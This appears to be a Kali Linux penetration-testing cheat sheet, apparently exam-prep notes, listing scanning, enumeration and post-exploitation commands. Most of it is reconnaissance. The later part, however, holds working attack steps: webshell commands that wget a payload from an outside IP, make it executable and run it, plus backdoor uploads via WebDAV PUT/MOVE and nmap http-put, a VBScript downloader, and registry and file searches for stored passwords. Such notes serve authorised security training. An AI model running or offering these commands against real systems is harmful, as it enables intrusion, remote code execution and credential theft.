

KaliSurvival

```
# How to survive inside Kali Linux / Linux in general
```

```
Set the ip address as a variable
```

```
export ip=192.168.1.100 nmap -A -T4 -p- $ip
```

```
Netcat port Scanning
```

```
nc -nv -w 1 -z $ip 3388-3390
```

```
Discover active IPs using ARP on the network: arp-scan $ip/24
```

```
Discover who else is on the network
```

```
netdiscover
```

```
Discover IP Mac and Mac vendors from ARP
```

```
netdiscover -r $ip/24
```

```
Nmap stealth scan using SYN
```

```
nmap -sS $ip
```

```
Nmap stealth scan using FIN
```

```
nmap -sF $ip
```

```
Nmap Banner Grabbing
```

```
nmap -sV -sT $ip
```

```
Nmap OS Fingerprinting
```

```
nmap -O $ip
```

```
Nmap Regular Scan:
```

```
nmap $ip/24
```

```
Enumeration Scan
```

```
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
```

```
Enumeration Scan All Ports TCP / UDP and output to a txt file
```

```
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
```

```
Nmap output to a file:
```

```
nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
```

```
Quick Scan:
```

```
nmap -T4 -F $ip/24
```

```
Quick Scan Plus:
```

```
nmap -sV -T4 -O -F --version-light $ip/24
```

```
Quick traceroute
```

```
nmap -sn --traceroute $ip
```

```
All TCP and UDP Ports
```

```
nmap -v -sU -sS -p- -A -T4 $ip
```

```
Intense Scan:
```

```
nmap -T4 -A -v $ip
```

```
Intense Scan Plus UDP
```

```
nmap -sS -sU -T4 -A -v $ip/24
```

```
Intense Scan ALL TCP Ports
```

```
nmap -p 1-65535 -T4 -A -v $ip/24
```

```
Intense Scan - No Ping
```

```
nmap -T4 -A -v -Pn $ip/24
```

```
Ping scan
```

```
nmap -sn $ip/24
```

```
Slow Comprehensive Scan
```

```
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
```

```
Scan with Active connect in order to weed out any spoofed ports designed to troll you
```

```
nmap -pl-65535 -A -T5 -sT $ip
```

==== Enumeration =====

DNS Enumeration

NMAP DNS Hostnames Lookup `nmap -F --dns-server <dns server ip> <target ip range>`

Host Lookup

```
host -t ns megacorpone.com
```

Reverse Lookup Brute Force - find domains in the same range

```
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
```

Perform DNS IP Lookup

```
dig a domain-name-here.com @nameserver
```

Perform MX Record Lookup

```
dig mx domain-name-here.com @nameserver
```

Perform Zone Transfer with DIG

```
dig axfr domain-name-here.com @nameserver
```

DNS Zone Transfers

Windows DNS zone transfer

```
nslookup -> set type=any -> ls -d blah.com
```

Linux DNS zone transfer

```
dig axfr blah.com @ns1.blah.com
```

Dnsrecon DNS Brute Force

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

Dnsrecon DNS List of megacorp

```
dnsrecon -d megacorpone.com -t axfr
```

DNSEnum

```
dnsenum zonetransfer.me
```

NMap Enumeration Script List:

NMap Discovery

```
https://nmap.org/nsedoc/categories/discovery.html
```

Nmap port version detection MAXIMUM power

```
nmap -vvv -A --reason --script="+ (safe or default) and not broadcast" -p <port> <host>
```

NFS (Network File System) Enumeration

```
Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip
```

RPC (Remote Procedure Call) Enumeration

Connect to an RPC share without a username and password and enumerate privileges `rpcclient --user="" --command=enumpriv`

Connect to an RPC share with a username and enumerate privileges `rpcclient --user="<Username>" --command=enumprivs $ip`

SMB Enumeration

SMB OS Discovery

```
nmap $ip --script smb-os-discovery.nse
```

Nmap port scan

```
nmap -v -p 139,445 -oG smb.txt $ip-254
```

Netbios Information Scanning

```
nbtscan -r $ip/24
```

Nmap find exposed Netbios servers

```
nmap -sU --script nbstat.nse -p 137 $ip
```

Nmap all SMB scripts scan

```
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe
```

Nmap all SMB scripts authenticated scan

```

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast)'
SMB Enumeration Tools
nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

SMB Finger Printing
smbclient -L //$ip

Nmap Scan for Open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24

Nmap scans for vulnerable SMB Servers
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Nmap List all SMB scripts installed
ls -l /usr/share/nmap/scripts/smb*

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

OR

python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

RID Cycling - Null Sessions
ridenum.py $ip 500 50000 dict.txt

Manual Null Session Testing

Windows: net use \\$ip\IPC$ "" /u:""

Linux: smbclient -L //$ip

SMTP Enumeration - Mail Servers

Verify SMTP port using Netcat
nc -nv $ip 25

SNMP Enumeration -Simple Network Management Protocol

Fix SNMP output values so they are human readable
apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

SNMP Enumeration Commands

snmpcheck -t $ip -c public

snmpwalk -c public -v1 $ip 1|

grep hrSWRunName|cut -d\* \* -f

snmpenum -t $ip

onesixtyone -c names -i hosts

SNMPv3 Enumeration
nmap -sV -p 161 --script=snmp-info $ip/24

Automate the username enumeration process for SNMPv3:
apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.py

SNMP Default Credentials
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

MS SQL Server Enumeration

Nmap Information Gathering

```

```
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables
```

List all SUID files

```
find / -perm -4000 2>/dev/null
```

Determine the current version of Linux

```
cat /etc/issue
```

Determine more information about the environment

```
uname -a
```

List processes running

```
ps -xaf
```

List the allowed (and forbidden) commands for the invoking use

```
sudo -l
```

List iptables rules

```
iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables
```

net config Workstation

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

```
hostname
```

```
net users
```

```
ipconfig /all
```

```
route print
```

```
arp -A
```

```
netstat -ano
```

```
netsh firewall show state
```

```
netsh firewall show config
```

```
schtasks /query /fo LIST /v
```

```
tasklist /SVC
```

```
net start
```

```
DRIVERQUERY
```

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

```
dir /s pass == cred == vnc == .config
```

```
findstr /si password *.xml *.ini *.txt
```

```
reg query HKLM /f password /t REG_SZ /s
```

```
reg query HKCU /f password /t REG_SZ /s
```

Search for folders with gobuster:

```
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
```

OWasp DirBuster - Http folder enumeration - can take a dictionary file

Dirb - Directory brute force finding using a dictionary file

```
dirb http://$ip/ wordlist.dict dirb <http://vm/>
```

Dirb against a proxy

```
dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129
```

Nikto

```
nikto -h $ip
```

HTTP Enumeration with NMAP

```
nmap --script=http-enum -p80 -n $ip/24
```

Nmap Check the server methods

```
nmap --script http-methods --script-args http-methods.url-path='/test' $ip
```

Get Options available from web server curl -vX OPTIONS vm/test

Uniscan directory finder:

```
uniscan -qweds -u <http://vm/>
```

Wfuzz - The web brute forcer

```
wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test
```

```
wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ
```

```
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"
```

```
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ
```

Recurse level 3

```
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ
```

Open a service using a port knock (Secured with Knockd)

```
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done
```

WordPress Scan - Wordpress security scanner

```
wpscan --url $ip/blog --proxy $ip:3129
```

RSH Enumeration - Unencrypted file transfer system

```
auxiliary/scanner/rservices/rsh_login
```

Finger Enumeration

```
finger @$ip
```

```
finger batman@$ip
```

TLS & SSL Testing

```
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
```

Proxy Enumeration (useful for open proxies)

```
nikto -useproxy http://$ip:3128 -h $ip
```

Steganography

```
apt-get install steghide
```

```
steghide extract -sf picture.jpg
```

```
steghide info picture.jpg
```

```
apt-get install stegosuite
```

The OpenVAS Vulnerability Scanner

```
apt-get update
```

```
apt-get install openvas
```

```
openvas-setup
```

```
netstat -tulpn
```

Login at:

```
https://$ip:9392
```

Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target

Simple Local Web Servers

Run a basic http server, great for serving up shells etc

```
python -m SimpleHTTPServer 80
```

Run a basic Python3 http server, great for serving up shells etc

```
python3 -m http.server
```

Run a ruby webrick basic http server
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"

Run a basic PHP http server
php -S \$ip:80

Creating a wget VB Script on Windows:
<https://github.com/eriklo6/oscp/blob/master/wget-vbs-win.txt>

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky

```
echo Set args = Wscript.Arguments >> webdl.vbs
timeout 1
echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs
timeout 1
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs
timeout 1
echo xHttp.Open "GET", Url, False >> webdl.vbs
timeout 1
echo xHttp.Send >> webdl.vbs
timeout 1
echo with bStrm >> webdl.vbs
timeout 1
echo ■.type = 1 ' >> webdl.vbs
timeout 1
echo ■.open >> webdl.vbs
timeout 1
echo ■.write xHttp.responseBody >> webdl.vbs
timeout 1
echo ■.savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs
timeout 1
echo end with >> webdl.vbs
timeout 1
echo
```

The file can be run using the following syntax:

C:\temp\cscript.exe webdl.vbs

Mounting File Shares

Mount NFS share to /mnt/nfs
mount \$ip:/vol/share /mnt/nfs
HTTP Put
nmap -p80 \$ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php'

Uploading Files
SCP

```
scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2
scp localfile username@$ip:~/Folder/
scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~
```

Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor
davtest -move -sendbd auto -url http://\$ip
<https://github.com/cldrn/davtest>

You can also upload a file using the PUT method with the curl command:

```
curl -T 'leetshellz.txt' 'http://$ip'
```

And rename it to an executable file using the MOVE method with the curl command:

```
curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'
```

Upload shell using limited php shell cmd

```
use the webshell to download and execute the meterpreter
[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php
[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php
curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php
```

TFTP

```
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\Users\Offsec>tftp -i $ip get nc.exe
```

FTP

```
apt-get update && apt-get install pure-ftpd

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/

/etc/init.d/pure-ftpd restart
```